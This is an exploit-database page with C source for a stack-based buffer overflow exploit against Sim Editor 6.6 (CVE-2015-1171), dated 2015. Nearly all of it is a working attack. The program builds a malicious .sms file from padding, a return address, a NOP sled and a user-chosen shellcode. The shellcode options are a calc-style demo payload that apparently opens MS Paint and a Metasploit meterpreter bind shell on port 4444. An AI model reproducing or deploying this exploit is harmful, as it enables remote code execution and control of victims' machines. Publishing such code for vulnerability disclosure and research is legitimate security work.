Skip to content
cyberexploits
localwindowstext

Sim Editor 6.6 - Stack Based Buffer Overflow

Sim Editor 6.6 - Stack Based Buffer Overflow

Publié le 2015-01-16

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/windows/local/35821.txt7eac4c3a
raw
#include <stdio.h>

#include <stdlib.h>

#include <string.h>



#define SIZE 65536  



/*

 * Title: Sim Editor v6.6 Stack Based Buffer Overflow

 * Version: 6.6

 * Tested on: Windows XP sp2 en, Windows 8 64-bit

 * Date: 16-01-2015

 * Author: Osanda Malith Jayathissa

 * E-Mail: osanda[cat]unseen.is

 * Website: OsandaMalith.wordpress.com

 * CVE: CVE-2015-1171

 */



const char shell1[] = "ba516a43ddd9e9d97424f45e33c9b1" 

        		"3231561503561583eefce2a496ab54" 

        		"46672c07cf821d15abc70ca9b88abc"

        		"42ec3e36263830ff8d1e7f00209ed3"

        		"c222622e17855be16ac49c1c849475"

        		"6a3709f22e8428d424b45251fa41e9"

        		"582bf96612d3712082e25632feadd3"

        		"81752c32d8761e7ab749ae77c98e09"

        		"68bce46915c73f13c142ddb382f505"

        		"454663ce4923e7884db224a36a3fcb"

        		"63fb7be8a7a7d891fe0d8eaee0ea6f"

        		"0b6b187b2d36777abf4d3e7cbf4d11"

        		"158ec6fe620f0dbb9d450fea3500da"

        		"ae5bb331ec6530b38d9128b688deee"

        		"2be14f9b4b566f8e262bff50d1a58b"

        		"92"; 



/* msfpayload windows/meterpreter/bind_tcp EXITFUNC=thread LPORT=4444 R | msfencode -a x86 -t c */

const char shell2[] = "bb3ff8edc8dbc6d97424f45f2bc9b1"

		"4a83effc315f11035f11e2ca04054e"

		"34f5d62fbd10e77dd9515ab2aa3457"

		"39feacec4fd6c345e500ed56cb8ca1"

		"954d70b8c9ad49731caf8e6eeffd47"

		"e44212ecb85e99be2ce77e744cc6d0"

		"0317c8d3c02341cc050f1b67fdfb9a"

		"a1cc04ad8d823a0100db7ba6fbae77"

		"d486a843a65c3d560016e5b2b0fb73"

		"30beb0f01ea347d514dfccd8fa6996"

		"fede324c9f479f23a098479b04d26a"

		"c831b9e23d7342f3290431c1f6bedd"

		"697e18198d55dcb570561c9fb6024c"

		"b71f2b07479ffe87170f5167c8ef01"

		"0f02e07e2f2d2a179e098670e2ad38"

		"dd6b4b50cd3dc3cd2f1adc6a4f4970"

		"22c7c69ef4e8d7b45644705f2d8645"

		"7e3283ee17a5597e55575dab0f97cb"

		"5786c06355ff272ca62a3ce532952b"

		"0ad215ac5cb815c4389845f14635fa"

		"aad2b5ab1f74dd5179b242a9ac42bf"

		"7c89c0c90af908";



const char *shells[] = { shell1, shell2 };

const char *shell_names[] = { "MS Paint", "Bind Shell" };

const char *shell_info[] = { "", "[*] Connect on port 4444\n" };

const size_t SHELLS_COUNT = 2;



int menu() {

    size_t shell_type = SHELLS_COUNT;

    puts("\b[?] Choose an Option: ");

    size_t i;

    for (i = 0; i < SHELLS_COUNT; i++) printf("%d. %s\n", i, shell_names[i]);

    scanf("%i", &shell_type);

	return shell_type;

}



void banner() {

    static const char banner[] =                                                                                                

                " _____ _          _____   _ _ _           \n"

                "|   __|_|_____   |   __|_| |_| |_ ___ ___ \n"

                "|__   | |     |  |   __| . | |  _| . |  _|\n"

                "|_____|_|_|_|_|  |_____|___|_|_| |___|_|\n"

                "\n[~] Sim Editor v6.6 Stack Based Buffer Overflow\n"

                "[~] Author: Osanda Malith Jayathissa\n"

                "[~] E-Mail: osanda[cat]unseen.is\n"

                "[~] Website: OsandaMalith.wordpress.com\n\n";



    fwrite(banner, sizeof(char), sizeof(banner) , stdout);

}



void patternfill(char *dst, char *pattern, size_t count, size_t dst_size) {

    size_t pattern_len = strlen(pattern);

    count *= pattern_len;

    if (count > dst_size) count = dst_size;

    if (pattern_len > dst_size) pattern_len = dst_size;



    size_t i, pI;

    for (i = 0, pI = 0; i < count ; i++, pI++) {

        if (pI == pattern_len) pI = 0;

        dst[i] = pattern[pI];

    }

}



int main() {

    banner();

    int shell_type = menu();

    if (shell_type >= SHELLS_COUNT) {

        printf("[-] Enter a valid input\n");

        exit (1);

    }



    char *buff = (char*) calloc (SIZE, sizeof(char));

    char *nops = (char*) calloc (SIZE, sizeof(char));

    if (!buff || !nops) exit (1);



    patternfill(buff, "41", 405, SIZE);

    patternfill(nops, "90", 16, SIZE);



    char ret[] = "B3804200";

    const char* filename = "exploit.sms";



    FILE *outfile = fopen(filename, "w");

    if (!outfile) {

        printf("%s\n","Could not open file");

        exit (1);

    }



    fputs(buff,   outfile);

    fputs(ret,    outfile);

    fputs(nops,   outfile);



    fputs(shells[shell_type],  outfile);

    printf("%s", shell_info[shell_type]);

    fclose(outfile);

    free(buff);

    printf("[+] Successfully to written to: \"%s\"\n", filename); 

    return 0;

}

/*EOF*/
Voir sur GitHub